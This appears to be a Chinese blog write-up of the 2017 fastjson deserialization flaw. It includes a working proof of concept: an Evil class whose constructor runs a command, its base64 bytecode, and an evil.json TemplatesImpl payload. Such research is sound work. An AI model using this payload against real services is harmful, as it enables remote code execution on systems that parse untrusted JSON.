简介

Java处理JSON数据有三个比较流行的类库，gson(google维护)、jackson、以及今天的主角fastjson，fastjson是阿里巴巴一个开源的json相关的java library，地址在这里，

https://github.com/alibaba/fastjson，

Fastjson可以将java的对象转换成json的形式，也可以用来将json转换成java对象，效率较高，被广泛的用在web服务以及android上，它的JSONString（）方法可以将java的对象转换成json格式，同样通过parseObject方法可以将json数据转换成java的对象。

大概在4月18号的时候，fastjson进行了一次安全更新，通告在这里

https://github.com/alibaba/fastjson/wiki/security_update_20170315，

当时对这也不熟悉，断断续续看了几天也没什么收获(主要是因为太菜了TAT)。最近有人出了poc以及分析的文章就跟进了一下，漏洞还是挺有意思。

fastjson简单使用介绍

工欲善其事，必先利其器，要想研究这个漏洞，就要先要了解这个fastjson是干什么的。自己研究了一下这个类库。User.java code如下：

testFastJson.java code如下：

 package fastjsonVul.fastjsonTest; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import fastjsonVul.fastjsonTest.User; public class testFastJson {              public static void main(String[] args){         Map<String, Object> map = new HashMap<String, Object>();         map.put("key1","One");         map.put("key2", "Two");         String mapJson = JSON.toJSONString(map);             System.out.println(mapJson);                  User user1 = new User();         user1.setUsername("果汁简历");         user1.setSex("male");             System.out.println("obj name:"+user1.getClass().getName());                  //序列化         String serializedStr = JSON.toJSONString(user1);         System.out.println("serializedStr="+serializedStr);                  String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);         System.out.println("serializedStr1="+serializedStr1);                  //通过parse方法进行反序列化         User user2 = (User)JSON.parse(serializedStr1);         System.out.println(user2.getUsername());         System.out.println();                  //通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject         Object obj = JSON.parseObject(serializedStr1);         System.out.println(obj);         System.out.println("obj name:"+obj.getClass().getName()+"n");                  //通过这种方式返回的是一个相应的类对象         Object obj1 = JSON.parseObject(serializedStr1,Object.class);         System.out.println(obj1);         System.out.println("obj1 name:"+obj1.getClass().getName());              } }

输出是这样

 {"key1":"One","key2":"Two"} obj name:fastjsonVul.fastjsonTest.User serializedStr={"Sex":"male","Username":"果汁简历","sex":"male","username":"果汁简历"} serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁简历"} 果汁简历  {"Username":"果汁简历","Sex":"male","sex":"male","username":"果汁简历"} obj name:com.alibaba.fastjson.JSONObject  fastjsonVul.fastjsonTest.User@18769467 obj1 name:fastjsonVul.fastjsonTest.User

Fastjson漏洞详细

fastjson漏洞出现的地方也就是JSON.parseObject这个方法上面。

在最开始的时候，只能通过类初始化时候的构造函数或者变量的setter方法执行恶意代码，像是这样

Evil.java

 import java.io.IOException;  public class Evil {      public String getName() {         System.out.println("i am getterName!");         return name;     }      public void setName(String name) {         System.out.println("i am setterName!");         this.name = name;     }      public String name;      public int getAge() {         System.out.println("i am getterAge!");         return age;     }      public void setAge(int age) {         System.out.println("i am setterAge!");         this.age = age;     }      private int age;      public Evil() throws IOException{         System.out.println("i am constructor!");     } }

 import com.alibaba.fastjson.JSON;  import java.io.*;  public class App{     public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {         InputStream is = new FileInputStream(filePath);         String line; // 用来保存每行读取的内容         BufferedReader reader = new BufferedReader(new InputStreamReader(is));         line = reader.readLine(); // 读取第一行         while (line != null) { // 如果 line 为空说明读完了             buffer.append(line); // 将读到的内容添加到 buffer 中             buffer.append("n"); // 添加换行符             line = reader.readLine(); // 读取下一行         }         reader.close();         is.close();     }     public static void main( String[] args ) throws IOException     {         StringBuffer Buffer = new StringBuffer();         App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");         Object obj = JSON.parseObject(Buffer.toString());     } }

demo.json的内容如下

 {   "@type" : "Evil1",   "name"  : "M0rk",   "age"   : "20"}

可以看到通过@type”特性”，就执行了构造函数以及私有和公有成员变量的getter和setter方法。但是这貌似还并没有达到我们想要的结果，因为上面的情况是需要我们能够控制Evil这个类（一般是通过文件写入），目前来看不太现实。

还有一种方法就是将编译好的.class或者.jar文件转换成byte[]，然后通过defineClass加载byte[]返回class对象。

安全研究人员发现了这个类

 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类存在如下的调用链可加载byte[]完成.class文件中对象的实例化，注意MailCiousClass需要继承AbstractTranslet（在defineTransle方法中存在一个校验）。更多这个调用链参考链接
https://gist.github.com/frohoff/24af7913611f8406eaf3

如上图所示的攻击调用栈信息，可以看到和TemplatesImpl调用链完全吻合，最终还是通过defineclass加载了bytecodes[]导致了命令执行。

Evil.java

 import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Evil extends AbstractTranslet {     public Evil() throws IOException {         Runtime.getRuntime().exec("open /Applications/Calculator.app");     }     @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {     }      public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {     } }

 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64;  import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;   public class poc {      public static String readClass(String cls) {         ByteArrayOutputStream bos = new ByteArrayOutputStream();         try {             IOUtils.copy(new FileInputStream(new File(cls)), bos);         } catch (IOException e) {             e.printStackTrace();         }         return Base64.encodeBase64String(bos.toByteArray());      }       public static void main(String args[]) throws Exception{ //        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class"; //        String evilCode = readClass(evilClassPath); //        System.out.println(evilCode);         StringBuffer Buffer = new StringBuffer();         App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");         Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);      } }

evil.json

 {   "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",   "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],   "_name" : "M0rk",   "_tfactory" : {},   "outputProperties" : {} }

总结

关于这个漏洞的构造还是挺精巧，漏洞的利用条件比较苛刻，如要能够利用，开发人员对json的处理函数需要是 JSON.parseObject(input, Object.class,
Feature.SupportNonPublicField);

而大部分的开发可能用用JSON.parse(input)就了事儿了，同时使用了parseObject和
Feature.SupportNonPublicField设置的估计不多。所以说实际环境中挖掘fastjson的这个漏洞应该是可遇不可求。

推荐阅读

从零开始学架构，每天花四小时学spring全家桶、高并发、分布式..

https://blog.csdn.net/weixin_45132238/article/details/106357002

马士兵20年架构师告诉你阿里巴巴P5到P8级别需要掌握什么技术？

https://blog.csdn.net/weixin_45132238/article/details/106526166